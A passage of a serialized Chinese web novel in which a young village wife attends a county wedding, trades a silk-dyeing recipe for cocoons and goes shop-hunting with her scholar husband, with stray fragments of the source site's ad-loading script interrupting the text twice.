他抱着几件浅色衣裳出来，同自己的放到一起搓洗，洗到对方的贴身里衣时，耳朵尖悄悄红了。 寒冬腊月的，硬是给自己羞出了一脑门薄汗。 余晚桃见他洗个衣裳都磨磨蹭蹭的，想说两句转念又想，这年头能使唤得动金贵的读书郎已是不错了，要知道秋嫂子她家男人可是连油罐子倒了都不带扶一下的。 她家二郎，还是很勤快的，打猎刨地，下厨洗衣，样样都干。 “汤面好了，快过来吃。” “怎么不见细柳姐？”，崔玉棠把洗衣裳的脏水倒进院内沟渠里，放下衣袖进灶房端面。 “估计是去桑园喂鸡了。” 前两日挖回来的冬笋还剩一些，余晚桃切了笋丝和猪肉糜，做的两大碗冬笋鲜肉面，上面还盖了白菜丝和荷包蛋。 简简单单的一碗面，色香味俱全。 余晚桃实在是太爱吃冬笋了。 “明天去挖冬笋吧，多储存一些，等下雪了做冬笋锅子。”，崔玉棠把自己碗里的笋丝夹到余晚桃碗里，低头去喝热乎乎的面汤。 散在汤里的猪肉碎带着韧韧的嚼劲，吸饱了冬笋的鲜味，滋味十足。 吃了朝食，该准备着去县里了。 余晚桃备的礼不算出挑，大头都在礼金上，左右是心意到了也不下双方面子就行，想来刘家也不会计较这些。 出村的牛车是露天的，没有车厢，一路摇摇晃晃地吹着冷风，余晚桃吸了洗鼻子，把兜帽捂得紧紧的。 这兜帽大氅真是买对了。 她余光落到身旁的崔玉棠身上，两件大氅是同一处买的，一黑一灰，耐脏且适搭。 崔玉棠披的是黑色款，长身玉立，矜贵端方，观他如画的眉眼，漂亮、严肃，叫人看出一丝凌厉来。 好不容易颠到了县里，一脸的冷色可算柔和下来。 余晚桃悠悠叹了一声:“等以后家业大了，可得打一座金玉暖轿才行。” 崔玉棠听明了她话里的调侃，抿了抿唇:“我并未是坐不得牛车，只是想到若往后你要在县里开铺子做生意，频繁往来村子和县里多有不方便，尤其是冬天，更是受罪。” “这倒是。”，余晚桃仔细想着，“只是若再加上买马车的预算，家里银子怕是不够。” “我在书院里给藏书阁抄书攒了一些钱，昨儿游兄设宴比诗，我中头彩，又得了一方顶好的徽州墨，拿去卖了也能换不少银子，仔细盘算着也够买马车了。” 两人一路聊着话，不知不觉到了刘府前。 刘府今儿大喜，庭院布置得十分喜庆，来客众多，府前两侧停满了各式各样的马车。 余晚桃粗略扫了几眼，迈上刘府台阶:“现下铺子还未落定，倒不急着买马车。” 崔玉棠温声回:“行，你决定就好。” 刘县丞嫁女，县里富户基本都来了。 余晚桃和崔玉棠进来时递帖随了礼，到了院里也没贸然上去拜访，或同他人交谈，只解了兜帽大氅让小厮拿去挂好，寻了个受地龙烘烤得暖洋洋的位置，安静坐着吃茶。 直至见了几张熟面孔徐徐往这处走来。 42. 刘云出嫁 陈家一家子人都过来了，领头的是陈攸林，稍错后他一步的是陈夫人，陈小绣则挽着她的胳膊，笑盈盈地同游子涧拌嘴。 崔玉棠虚揽着余晚桃的后背，带着走她过去，拱手行了礼，方才给人介绍。 “陈教谕，陈夫人，这是拙内余晚桃。” 余晚桃微微福身，算是见了礼。 陈夫人笑呵呵地把人牵过来，面上的妆容比平时多了几分喜庆，她点了点余晚桃的鼻子:“老爷许是头回见余小娘子，咱家绣姐儿同人玩得好，还上门做过客呢。” 余晚桃垂眸，有些羞然。 陈攸林是个墨气很重的老文客，身上有股子规条训诫的威重感，又带着几分教书育人的仁慈。 他对后宅之人不会有太多的关注，微一颔首算是应了陈夫人的话，扭头让小女儿带着人去玩，寻着机会便考校起崔玉棠的学问来，连在旁作看戏模样的游子涧也未能幸免。 陈小绣乐得不用跟在古板的老爹爹身边认人，拉起余晚桃就往后院的新房里去，“我们去瞧瞧云姐儿做甚样的新娘子装扮。” 余晚桃跟着陈小绣轻轻跑着，冷风扑在脸上有种刀割般的轻微痛感，冻得面颊僵硬，直至进了廊下，到内宅里，叫暖烘烘的地龙烤着，这才缓和过来。 她幽怨撇了陈小绣一眼:“这么冷的天，也不叫披好了大氅再跑出来。” “我等不及想看了嘛。” 陈小绣咋咋呼呼地推着她，没甚避讳地进了待嫁新娘子的闺房，里头围着几个妆婆子和伺候的丫鬟，白烟袅袅从铜鼎里飘起，芳香醉人。 “云姐儿，云姐儿！”，陈小绣越过屏风，歪头去瞧妆台前乖巧坐着的刘云。 刘云新妇妆面一敷，头发全盘起来，缀着晃人眼睛的金银头饰，珠钗宝玉，胭脂红弥漫着整张面颊，像被捏软了熟透的桃子，这幅模样，叫陈小绣心里觉出一股陌生感。 她下意识地放轻了声音，有些忧伤地说:“云姐儿，你嫁去府城，离我可远了，往后你我便不能在一处玩乐了。” “这不简单，我在府城也给你寻一个夫君，到时候你嫁过来，我们就又能一起玩了。”，刘云面上同陈小绣打趣着，心里却不免升起一些离别愁绪来。 两人自小便玩在一处，是顶好的姐妹儿。 这厢姐妹情深着，刘云也没忘了一旁的余晚桃，她犹如托孤一般，大义凌然地抓着陈小绣的手，按到余晚桃的手背上。 “往后我不在了，晚桃姐姐可要常来找绣姐儿玩，不然我都怕她闷在家里，闷出病来。” 余晚桃哭笑不得:“说甚胡话，只是嫁到府城了而已，如何就成不在了？平白说些不吉利的话。” “府城太远了，云姐儿我舍不得你~”，陈小绣呜呜假哭，扑到刘云大红嫁衣裙摆那拽着一片金雕饰，将不舍的情绪表现得淋漓尽致。 “这还没到哭别的时候呢。”，刘云那点子离别的愁绪被她的假哭冲散了，没好气地瞪她，将人拽起来，把自己的红嫁衣拯救出来。 她心疼地摸着上面的金雕饰说:“这可是苏绣的手艺，扯坏了看我不捶你。” 陈小绣龇牙:“你嫁去吧，我这下十分舍得了，在你心里我都没有一片金饰重要。” 这姐俩…… 余晚桃摇摇头，把陈小绣劝下来，可别误了妆婆子给新妇打扮的时辰。 这厢坐了会，同人闲聊着，近晌午时分，前院的鞭炮声传到了房里。 许是男方的迎亲队到了。 从县里去府城尚要几日功夫，眼下这宴席便算是出嫁宴，等到了府城，还得再办一次娶亲宴，中间差着距离，因此也没有昏时迎亲这一说法。 大晌午的，就到了。 刘云面上眼见着有些慌乱，她下意识抓住了余晚桃的手。 余晚桃知她紧张，拍拍她的背以作安慰:“云姐儿莫怕，你这朝出嫁，身边跟着亲近的丫鬟，又有许多亲戚随行同去府城送嫁，稳妥着的。” 刘云心里想着这些话，渐渐松了手，心里安定许多。 期间刘夫人来了一趟，身边跟着喜婆，许是要交代她一些私底里的事，余晚桃和陈小绣不好再在屋里待着，便去了前院宴客的地方。 恰好此时头顿宴席也开始了。 余晚桃左右张望不见崔玉棠，便和陈小绣找了个都是小孩的桌坐下，专心致志地开始搂席。 大户人家的喜宴，菜品就是丰富，精致又不差味，乌鸡汤都是用参条熬制的，还有燕窝喝。 陈小绣:“晚桃姐姐，你要不要香烧乳鸽？” 香烧乳鸽，皮脆、肉嫩、多汁。 余晚桃怎能拒绝，她撇了一圈桌上伸长筷子去夹菜的小萝卜头，感动地点头:“要的要的。” “我也要！”，席上一个小姑娘举手。 “我我我！我也想吃乳鸽。”，另一个圆乎乎的男孩跟风举手，睁着溜黑的瞳仁，眼巴巴望着余晚桃。 也不知道都是谁家的孩子，也当真是放心啊。 余晚桃给几个小萝卜头分别夹了一只过去，自己吃得嘴唇油亮亮的，一场席下来混得忒熟。 小萝卜头们一口一个姐姐喊着，叽叽喳喳的。 “姐姐。” 余晚桃吃得正开心，那个圆头圆脑的男孩过来扯扯她的衣袖，小眉毛皱着:“我想去出小恭。” “你爹娘呢？” “爹没来，娘来了。” 余晚桃取了帕子把嘴擦干净，弯腰下来看他:“那你娘呢？我带你去找她吧。” “要出来了呜呜，不能尿裤子，丢脸——”男孩一边说一边捂着裆，脸蛋憋得通红，豆大的眼泪说掉就掉。 “……” 瞧个头顶多五六岁，还知道丢脸。 余晚桃同陈小绣说了一声，把男孩抱起来，问了刘府小厮茅厕的位置，快步寻着地去，生怕晚了尿自个身上。 好在对方是个能忍耐的。 中途也没出其他岔子，余晚桃顺利找到茅厕，给小萝卜头解了急。 再回到席上时，却见一妇人面色焦急地跑过来，小萝卜头欢快地扑进她怀里喊娘。 妇人美目微红，轻声斥他:“不是让你在席上坐着，别玩他处去吗。” “我急着出小恭，才央姐姐带我来的。” 妇人这才看向余晚桃，对她点了下头。 余晚桃回以微笑，多言了一句:“这喜宴上人多眼杂，小公子又年幼哪里离得了长辈，夫人往后还是注意些为好。” “是我顾着同人说趣没把孩子照看好，这番多谢娘子了，不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知娘子是哪家的？”妇人听她话语真挚，也放下了些戒备。 “大桑村余家的，同云姐儿玩得好，这才受了她的邀来吃杯喜酒。” “大桑村余家……”，妇人美眸一亮:“莫不是给云姐儿制作八合缘陪嫁饰品的那位娘子？” “是我，夫人识得我？” “自是识得，陈夫人没少与我炫耀她给云姐儿备的那套陪嫁饰品呢，你这绒花的手艺真是了得，可叫我心痒得紧，只恨没能亲自见见，这朝倒是有缘。”，妇人眉开眼笑，一改先前的态度，拉着她攀谈起来。 至晚些有人来找，那妇人才带着孩子离去。 陈小绣拉着余晚桃跑到游廊外闲逛消食:“你可知那位妇人是谁？” “谁？”，余晚桃拢紧衣领，把手揣进袖里。 “那是县令的第三位夫人，圆脑袋的那个小公子就是县令唯一的儿子，原是庶出，后来被扶了上来，作嫡子入族谱。” 这是甚么瓜，余晚桃听得有些理不过来。 她坐到回廊的雕花围栏上，一脸好奇地等着陈小绣继续说。 陈小绣坐过去与她挨在一起，小声说:“咱这位县令为人虽清正，但祖上不积福啊，娶了两任夫人都生不出一个嫡子，只得了几个女儿就早早病去了。” “现在这位，原是通房，后因肚子争气生了儿子，就被扶正了，她儿子也就顺理成章变成了嫡子，这三夫人是个不简单的，和先头夫人生的几个女儿斗得厉害着呢。” 虽说是靠儿子上位，但倘若不是这位三夫人有手段，在后宅的阴私里怕也活不下来。 单就刚才她们的谈话，余晚桃便觉出对方是个为人谨慎，做事滴水不漏的人。 与这样的人打交道言不得心里话，倒是可以认真经营一下其中的人脉关系，出门在外做生意，多发展一些人脉总是无错的。 二人说了会小话，直至前头鞭炮响起，锣鼓喧天，这才知道迎亲的队伍竟已出发了。 当真是来客太多，甚么时候行的出门礼都不知道。 余晚桃同陈小绣赶到前院去，就见刘夫人由丫鬟搀扶着，泪眼婆娑，不舍地望着渐渐远去的花轿。 陈小绣受不住也跟着哭了。 迎亲队一走，刘府安静许多。 余晚桃回内院同小厮取了兜帽大氅来披好，见刘夫人忙着辞客，便不作告别，抱着崔玉棠的大氅去寻他。 许是受了上回醉酒归家的教训，崔玉棠这朝身上酒气很淡，眼神清明，与同坐几位同窗侃侃而谈着，见她过来，便起身去迎人。 “二郎，该回去了。”，余晚桃给他披上大氅，顺了顺肩领黑亮的皮毛。 崔玉棠握住她带着寒意的手，放掌心里搓了搓，回身与同窗们告别，牵着人离开刘府。 傍晚时分，天色渐暗，行人匆匆收摊往家赶，一仰头，昏昏的天儿竟下起米粒粗的冰雹子来了。 这下赶不回去了。 崔玉棠加快步伐往街上走:“先去客栈住一晚，明儿再回村吧。” 说话间，冰雹下得更急了，棉靴踩着发出吱吱的声响。 余晚桃慢腾腾迈着步子，呼出一口白雾，心里怪哉。 好端端的怎下起冰雹来了，云姐儿的迎亲队刚出发不久呢，可别出岔子才好。 43. 冬笋焖羊肉 冰雹噼里啪啦地下着，翌日炊烟起时堪停，空气中的温度已然又往下降了许多。 客栈里有热水，晨起便有小二送来。 余晚桃夜里睡得不安稳，被外头冰雹砸落瓦檐的声响扰得心烦，客栈的被褥又不是纯棉的，盖着总没有家里的暖和。 也幸而身旁有个人互相挨着取暖，否则真叫她被窝里冻一夜去。 “还不起？”，崔玉棠已然穿戴整齐，坐在床边拧湿了巾子，趁热气未消，直愣愣盖到她脸上，像是在报上次的仇。 热气一闷过来，余晚桃不情不愿地坐起，自个擦脸漱口，“咱菜地里没摘回去的菜估计都遭了殃，早知我也往菜地那搭个棚子了。” “我净与秋嫂子说了，自个却没弄，眼下秋嫂子家里的蔬菜大棚可算派上用场了，冰雹下了一夜，别个菜农地里的菜甭想活了，这朝菜价铁定上涨，秋嫂子能大赚一笔。” 说着话，余晚桃缩着脚趾快速给自己套上袜子，崔玉棠把她的棉靴摆到床脚边，让她穿好，自己端了变凉的水盆到一边，把窗打开些，去瞧下面的街道。 冷归冷，那些个靠摆摊吃饭的摊主们却陆陆续续地出来了，吆喝声和炊烟将被冰雹摧残了一夜的街道给盘活了。 余晚桃听着声，有些馋那颗颗饱满的大馄饨了，她起来活动着手关节，眉眼弯着:“我们去吃馄饨吧。” “好，我瞧着客栈底下那家就不错。”，崔玉棠转身替她系紧一些大氅的带子，凑近时见她圆润小巧的鼻尖有些脱皮，皱眉道:“等会吃了馄饨，再去买些擦脸和抹手的润肤膏子。” 他顿了顿又补充，“给细柳姐也买两盒，家中里里外外都是她帮着打理，该多谢她。” “正好我也想去逛逛胭脂铺子，晚些还要再去一趟锦庄。”，余晚桃摸了摸自个有些干燥的鼻子，转身开了门，往客栈楼下走。 崔玉棠随在她身侧:“去锦庄作甚？” “有生意要谈。”，余晚桃简单同他讲了一下，去客栈柜台那退房，结了押银。 二人走出客栈，在馄饨摊叫了两碗鲜肉馄饨和甜豆汁。 崔玉棠从不过于追问余晚桃生意上的事情，她是个有主意的人，对要做的事都有规划，不用他为之担心谋算甚么。 听她简单一言，便不再多问，取了摊子竹筒里的羹勺，拿自己随身带的异色帕子擦拭干净，才递过去。 两碗馄饨上来，余晚桃迫不及待开吃，馄饨馅厚皮薄，里头竟是还加了芹菜丁和马蹄丁的，吃着有丝丝脆甜的口感。 一碗十二个馄饨刚好，再喝碗热乎乎的甜豆汁，整个身体都暖了。 余晚桃给摊主结了钱，同崔玉棠逛到酒儿巷里，因着自个也打算买铺子，一路过去时她还特意观察了一下街巷两侧开的铺面。 酒儿巷里都是各种胭脂水粉、饰品、成衣裁制等女子用品铺子，铺面少有空的，瞧着面积也挺大，楼阁装潢迎合着女子品味，都十分讲究。 “二郎，你说我们的铺子买在这条街怎么样？” 崔玉棠颔首:“听书院里同窗时常有抱怨家里女眷醉心于逛酒儿巷，在这开铺子，客源是不缺的，就是竞争应该不小。” “做生意，就不能因竞争而退缩。”，余晚桃话音落下，停了步子，扭头看去，“就进这间红娘胭脂铺逛逛吧，上次的洁牙粉便是在这买的，怪好用。” 两人一道进去。 崔玉棠不懂女儿家要用的这些物甚，只管跟在身后，看她挑了几样东西，拿着去柜台，才上前去结了账。 出了铺子，余晚桃抬头看他:“家里银钱都是我管着，买家用自也该我给银子，你自己辛苦抄书攒的，留着买笔墨纸砚才是。” “这非是家用，是我送的礼。” 崔玉棠看她两条秀眉蹙着，说话严肃，便畅然笑开，无奈道:“每次旬休归家你都有给我五百文花用，书院里用不了许多，我就都攒下来了。买笔墨纸砚的也不缺，每旬课考得了好名次，书院都会有奖励。” “从前我看表哥读书，总和舅母抱怨银子不够用呢。”，余晚桃嘀咕。 陈家富裕那几年，陈文祖去读书，每次旬休归家，往外一拿就是二三两银子，后头从她爹娘那继承的家财挥霍完了，靠着桑蚕园，每旬也有一两多银子给他使。 崔玉棠与她慢慢在街上走着，往锦庄去，闻言神色有些复杂:“成亲前他常与丁班的几个书生去眠花宿柳，不思学业，又醉心于销金窑，自是花钱如流水。不过成亲后倒是收敛了，如今又住在县里，有秀才老丈人管着，更不敢往那些地方去。” “在书院里你与他见得多？” 崔玉棠摇头:“我与他素无往来，只听同窗传过他的一些风流韵事。” 真真是处处都有八卦听，余晚桃心里乐呵。 到了锦庄，张管事引着二人上了楼，喊小厮上茶，且让稍等片刻。 坐着没歇一会，便来人了。 祝忧跨步进来，眉宇愉悦，抬手让小厮带上雅间的门，掀袍一坐，笑吟吟看着两人:“托了余娘子的福，我们锦庄最近可是客满迎来啊。” 余晚桃神色平静，眸微敛起:“上次未谈定的合作，不知祝东家可还感兴趣？” “余娘子上次不是还未下定决心？”，祝忧沉吟着，扬手沏了两杯热茶推过去:“是因为前几日锦庄与大桑村蚕农解除合约一事？” 余晚桃端起茶托，吃了口茶，轻笑道:“也许吧，我想知道祝东家目前库房中蚕茧的储存量有多少？” 祝忧愁道:“有上万斤了，眼下布庄订单虽有增多，但这个储存量着实超出了预算，蚕茧堆放久了，缫出来的蚕丝质量也会有所下降，我如今可就等着你这边给我答复了。” “实在没辙，我只能往府城运了。” 余晚桃点头:“容县的购买力其实也就这么大了，目前的订单接近于饱和状态，想要把这批蚕茧消化出去，把目光放回府城是正确的，只是不能直接出蚕茧。” 她注视着祝忧，眼里仿佛带着穿透人心的打量，“我可以给锦庄提供独家的缫丝工艺和碱的制作法子，再附赠一份新的丝绸印染配比，条件是以目前锦庄蚕茧库存的三分之一作为交换。” “三分之一，三千多斤？”，祝忧撑着下巴，轻啧了声:“余娘子胃口有些大了吧？我怎知道你提供的这些，值不值这个价呢？” 余晚桃从容道:“值不值这个价，自是端看祝东家如何衡量了。” 她朝崔玉棠伸手，招了招。 崔玉棠正神游着，心里默背圣谕广训呢，觑着伸到跟前的手心，他呆了一下，“什么？” “我与你的帕子，拿来我用用。” 崔玉棠哦了一声，从袖里拿出那方帕子。 余晚桃接过来，起身走到祝忧旁的位置坐下，也不拘束，径自将那方帕子递给他:“缫丝工艺和碱的好处祝东家应已知晓了，至于新的丝绸印染配色，你自个瞧瞧吧，这是我闲来做给书生洁手用的。” 祝忧面色诡异僵了片刻，到底还是拿起了那方帕子观察，帕子入手丝滑，淡蓝色调明亮有光泽，无杂色沉淀。 他仔细观着，蓦然一顿，双手扬开移到光线强烈处，帕子在光的作用下，竟缓缓变成深色调的墨蓝彩。 “异色同绸，这是关外游廊胡商的染布秘法，只在京都皇城的五胡坊市有得卖，你是如何知晓的？”，祝忧神色凝重。 余晚桃满脸无辜:“我自个调配出来的呀，你许是不知，我是做绒花饰品的，时常需要调配新的蚕丝色，村里也不缺染色原材，所以这对我而言并不难。” 祝忧觉得头脑有些眩晕，他离谱地想，难道这就是所谓的天赋异禀？ 须知游廊胡商那炫彩变幻的染布秘法，昔年引得多少布商前仆后继，做了无数尝试却都调色失败，异色同绸的市场多年来被胡商独占着，旁人连杯羹都分不到。 只用三千多斤蚕茧，就能换来胡商的染布秘法，这也就意味着京都的丝绸市场将有他祝家一席之地，实在是太划算了！ 余晚桃见他十分激动，眸子闪了闪:“要不今天就到这？等祝东家想好了我们再谈？” “不不不——”，祝忧忙摆手:“我同意了，即刻便能签订契书。” 这下余晚桃倒不着急了，她坐回去，慢悠悠吃了口茶:“那这三千多斤的蚕茧，祝东家打算怎么给我？我家里库房小，怕是装不下。” 祝忧何其聪明，他了然一笑:“我们工坊不缺人手，可以全部缫成蚕丝，再给余娘子送过去。” “年前送？” “可。” 两方说定，契书一签，手印按上，交易正式生效。 临走前，余晚桃想起一事:“既然这异色同绸的染布秘法如此重要，还请祝东家帮忙隐藏其来历，我只是一介农户，不想招惹麻烦。” “自应如此，余娘子想得周全，祝某佩服。” 胆大，心细，经商有道，言谈又圆滑。 祝忧心里实打实佩服这样的女子，看向她的目光愈发赞赏，若不是顾及着男女大防，都想约着去酒楼喝上两杯了。 “祝公子。” 崔玉棠一直都降低着自己的存在感，不去打扰余晚桃谈生意，临了要走，才对祝忧拱拱手，十分温和地提醒:“我娘子给我缝制的帕子，可否还回来？” “啊？抱歉，实在抱歉。” 祝忧忙把自己顺手收起的帕子还回去，落落大方与人告了歉。 崔玉棠表示并不在意，取回帕子认真收好。 走出锦庄，余晚桃仰头观望大好的天色，高兴道:“眼下不缺原材，银子也够，我们年前就能把铺子盘下来了，得寻个时间再去酒儿巷探探。” 市集里人来人往，摩肩接踵，崔玉棠护着她走，眼里萦着淡淡笑意:“别贸然去问价，先打听一下酒儿巷那边铺面大体的价格，再看看有无熟识的靠谱牙人，届时还能帮着压压价。” “窈儿也在县里，可以托她打听一下，我们去肉市买些羊肉吧，我今晚想吃二郎做的冬笋焖羊肉。” “好，我做。” …… 回到村里时已然下午了。 小细柳央着余天庆帮忙张罗，将十五个报名冬伐的村民都敲定了，只等着说一声，立马便能开始上工。 余晚桃听了一耳朵，她舅舅陈老根也在其中。 想想也是，天气冷了码头的活不好做，陈文祖在县里住着，样样都要钱，就连李氏都在县里接了缝补浆洗的活计，没空在村里逮着人撒泼了。 “晚些吃了饭，让人去知会一下，明天开始上工。” “成。”，小细柳接过那一吊子羊肉挂起来，抬头问她:“这羊肉怎么做？炖着还是炒？怪贵的我都怕做坏了。” “做冬笋焖羊肉，今儿二郎下厨。”，余晚桃回屋换了身粗棉衣，去后院拿锄头和竹筐，扬起笑道:“我们先去挖冬笋。” “行，那我先去桑园把鸡赶进窝棚里，免得明儿人多，给惊着了。” 三人一道出门去，在桑园分开，余晚桃和崔玉棠沿着进山的小道往北边的竹林去。 冬天山里都结着一层薄薄的冰凌，一碰就碎，沾湿衣靴。 “忽然想起上回说要去打松塔的，后来倒忘了。”，余晚桃扶着林立的松木，踩在地上湿厚的松针上，脚底咯吱咯吱响。 崔玉棠大步跨到前面，来到竹林边沿的斜坡上:“松木高，要打松塔得爬上去，入冬后树皮湿滑，不好爬的。” “也是，怪危险的。” 余晚桃微微喘气，把竹筐放下来，弯腰去寻土里拱出来的裂缝，“挖这试试，应该有笋。” 崔玉棠应了一声，照着她指的地方，挥动锄头，挖下去没一会就现出了胖嘟嘟的冬笋壳子，怕锄头伤着笋肉，他直接用手把那截笋子拔了出来，抖干净泥土后扔进竹筐里。 这片竹林 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有着不少笋坑，估计是被村民们挖过，两人又往里走了一些，陆陆续续地挖满了一竹筐，还摘到了一兜子的野生毛桃。 出了竹林余晚桃在田边的沟渠里洗了两颗毛桃子，跟崔玉棠分着吃，这毛桃子果肉很白，微甜带着生涩，还不够熟，但吃着很脆。 “还吃吗？我再去洗。” 崔玉棠摇头:“回家吧，留着慢慢吃。” 弯弯绕绕的田野小路上，两道身影被黄昏拉长，伴随着鸟雀归巢的哟哟声，行回家去。 刚挖的笋耐放，不急着处理，崔玉棠从竹筐里拿了一颗大的出来，其余的全部放进柴房里和白菜并排着晾开。 羊肉先做去腥处理，再上锅炖软呼，冬笋去壳切片，过一遍热水，等羊肉炖得差不多了就把笋片加进去，其余料子炒香，一并焖煮。 好肉和天然鲜的食材做起来不用太复杂，这么简单焖煮，便能将冬笋的鲜味最大程度地保留，再加上羊肉独特的口感，光闻着味便香掉了舌去。 冬夜里一家人围着热腾腾的锅子，吃顿鲜香味美的冬笋焖羊肉，再来上一碟子酥香煎鱼，并个肉丸子白菜汤，当是叫人吃个肚圆。 —— 冬里寒雾重，桑园里白茫茫一片，泛黄的桑叶掉得满地都是。 冬伐是个力气活，来的都是当家的汉子，早早便自发到了，也无需主家发话话，知晓要做的事情后，便各自忙开。 原先便定了包一顿午饭，余晚桃去桑园走了一遭后，同林小秋家买了些鲜蔬菜，请人过来帮忙做饭。 大锅菜总没细致做出来的好吃，但胜在给肉足，米饭则是加了杂粮番薯的，量大顶饱。 做好后抬着锅去桑园里，就地吃，吃完继续忙活。 林小秋递给余晚桃一根煮熟的玉米，与她坐在桑园的草垛子堆上说着话:“我婆母可千叮咛万嘱咐了，万万不能收你这点子菜钱的，你说你作甚非要塞过来。” 余晚桃盘腿坐着，对她笑:“我家里请帮工包饭，如何能拿你家的菜，传出去岂不是白惹人笑话。” 林小秋翘着下巴说:“哪里是白拿，我们家今年冬天赚钱了，可都是托了你的福，现下几乎每天都能摘一牛车的菜拉去县里卖，那些酒楼抢着要呢。” “看，我男人给买的银镯子，花了二两银子呢，我婆母都没骂我败家。” 余晚桃见那银镯子确实精巧，也替她高兴，大概世上多数的矛盾都是来自于“钱”，钱不缺了，便能解决大半矛盾，进而家庭和谐。 天愈发冷，若不是为了生计，想也没人愿意出来找活，余晚桃静静望着在桑园里闷头忙碌的身影，无端感慨起来。 冬天黑得早，傍晚时便收了工，大家排队着领工钱，到陈老根时，桑园里只剩下零散几人在收拾工具。 “桃子。”，许是上次不欢而散，这会陈老根喊着人声音也没甚底气。 这个当家的汉子，似比以前瘦了些，发白大半，脸上尽是风吹日晒，为生计奔波留下的痕迹，黝黑，苍老。 余晚桃垂眸:“舅舅……” 余晚桃想劝他自己多留些钱，对自己好些，不要为着陈文祖拼死拼活的，可是转念又想自己并没有这样劝说的立场，说了他也不会听。 话到口边又咽了回去，她微不可闻地叹了声:“天也将暗了，舅舅快回家去吧。” “哎，你也是。”，陈老根呐呐应了声，佝着腰转身走了。 桑园的事算告一段落，余下的得等明年开春再做打算。 余晚桃关了园，踩着夜色回家。 忙了大半年，这会才算是真正歇了下来，心里松快，睡得也安稳，翌日暖阳升高，光线从窗柩倾斜进来，余晚桃才悠悠转醒。 她盯着帐顶看了半响，忽想起有一阵没给窈儿布置作业了，遂爬起来穿好棉衣蹦到案榻上，翻出往日崔玉棠用来练字的纸张，在上面画了一支绿柳流苏簪，边上备注所需材料，颜色配比，和完成时间。 望着单调的一支簪，余晚桃眼前一亮。 她开绒花铺，是否可以画一本集齐所有款式的图册？ 到时多增加一条定制的规矩，让客人自己选择，指定款式或者按照客人的要求画设计图，这样既能增加客人满意度，又可以多收一笔定制费用。 女子心理大多不难猜，无非是别出心裁，独一无二，定制正好合她们的心意。 只是如此一来，估计会很忙。 窈儿聪慧，也刻苦肯学，依照着如今的进度等到年后开春定是可以独立做簪的，但只依靠她们，近半年尚能应付，若要扩大经营规模，便需要大量的人手了。 或许，慈济堂里的姑娘们，可以支应起来。 到时挑些合适的人，开个绒花班子教授手艺，学好了便在铺子里做个绒花娘子，做久了有名气了，客人们许还会点名要哪位哪位娘子做簪。 名人效应一出来，便是块活招牌。 关于开铺子的诸多想法，余晚桃在心里一遍遍过着，而眼下最紧要的，便是买铺子一事，于是当日里收拾好自个，便去县里找窈儿了。 窈儿见她来，心里高兴得紧，迫不及待地给她看自己近日掐的样式和新染出来的蚕丝。 “我最近多有观察县里姑娘们爱戴的簪子和饰品，画了些出来比对，那些个时下里流行的几款我也研究了一遍，试着做过，就是手还笨着，不如别的做出来精致。” 余晚桃认真看着，鼓励她:“你学得已是不错了，学手艺便是熟能生巧，多练练就是，我带了张绿柳流苏簪的样式图来，你照着做，做好了我再检查。” “哎。”，窈儿接过那张样式图，仔细收好。 “窈儿，我想把铺面置在酒儿巷，你可知有哪些靠谱的牙人？”，余晚桃问。 “我是不曾了解这些，但嬷嬷在那边置过产业，她应是知道的，我去问问。” 窈儿问得了那牙人的地址，便与余晚桃一道往酒儿巷去。 44. 文谈盛会 上 酒儿巷素来是热闹的，不少姑娘家就爱在这儿闲逛，约着关系好的去吃茶，试新衣裳，新首饰，尽情玩乐。 一路走过去，也有些铺子外挂着转租，出售的木牌子。 余晚桃倒不急着去询价，与窈儿在一个香料摊子前挑挑选选的，与摊主闲聊起来。 “这是甚么香？” “闻着像苏合香。”，窈儿笑吟吟地同摊主说:“姐姐可与我们拧开闻一闻？” 摊主爽利道:“你这妮子鼻倒是尖，隔着盒竟都能闻出这是苏合香。” 她拧开盒盖，拿专门取香的细长小木勺沾了一点，递到二人鼻翼下:“都是纯正的香料，不叫假的，一盒作价三十文。” 余晚桃轻轻嗅着，觉得苏合香挺好闻的:“倒是不贵。” “我这都是小本生意，价格实诚。”，摊主说着，压低声音道:“就这一小盒在那头的红娘胭脂铺，起码得卖你一百文。” 余晚桃叠着眉，有些意外:“竟卖得这般贵？许是人家还要加上铺子租金，人工和装饰这些，卖贵些也是应当的。” “那倒不是，红娘胭脂铺的东家是个寡妇哩，这酒儿巷好几个铺面都是她男人家的，她男人一死，就都成她的了，卖得贵啊就是在说甚么穷妇人省吃俭用去买香，不如多割二斤肉，沾个嘴瘾。” “总之就是个瞧不起穷户的浪货，整天巴结那些富家小姐，公子哥们转悠，一双眼睛比天高，容不得穷酸。” 这摊主许是和那红娘胭脂铺的东家有龃龉，说起人的不是来滔滔不绝的，余晚桃听了个圆，与了她三十文，买走一盒苏合香。 二人继续往前走，窈儿拧着眉道:“红娘子倒不似她言的那般不堪，我们慈济堂的姐妹儿们常去她铺子里卖香囊，给价都挺公道的。” 红娘子全名佟红，在酒儿巷也算是个家喻户晓的人物，家业大着，就是名声不好，总叫人传些风言风语出来。 寡妇门前本就是非多，何况她还是开门做生意的，日日与人打交道，看不惯她的人海了去，只是也不影响人家赚钱，只当耳朵里挠了痒，听听便过了。 余晚桃自然知晓人言可畏的道理，并不将那摊主的话当真。 侧面打探了几个铺子的价格，这才寻上那牙人住的地方。 牙人是个二十多的精明男子，个高瘦条，得知是慈济堂嬷嬷把人介绍过来的，也没怠慢，领着人去看铺子。 “不知姑娘是打算买多大的铺子？我这有带院的和不带院的，一层两层，加三进厅，都空余着几间铺子，托管的老板有些急着出手的，许是能压压价。” 余晚桃回他:“是打算买个带院子的，至于要多大铺面，还得去细致瞧瞧再做决定。” 牙人带她们去看的第一个铺子在酒儿巷中间位置，地段较好，左右都是成衣铺，对面有家专门做妆面的钿花铺，进进出出许多客。 越了门槛进去，便是宽阔的内堂，四处凌乱摆着些桌椅和一面大展柜，地板翘起渗水，空间里透着一股霉味。 牙子捏着鼻道:“二位可别嫌弃，这环境虽是遭乱了些但地段是极好的，原先的东家因急丧需得返回祖籍，便想将这铺面过出去，套些现银出来。” “您看这里头是不是挺大的，梁柱旁边还有道小楼梯上去，边上是可以堆货的阁楼，空间宽着，您二位再这边来。”，牙人穿过后头的小门，把她们带到后院去。 他殷勤地作起介绍:“铺子后边自带的宽院，瞧这还种着颗柚子树呢，多稀罕，这里头两间屋子，一间住人一间堆物，边上还有灶房，一口天井，齐全着。” 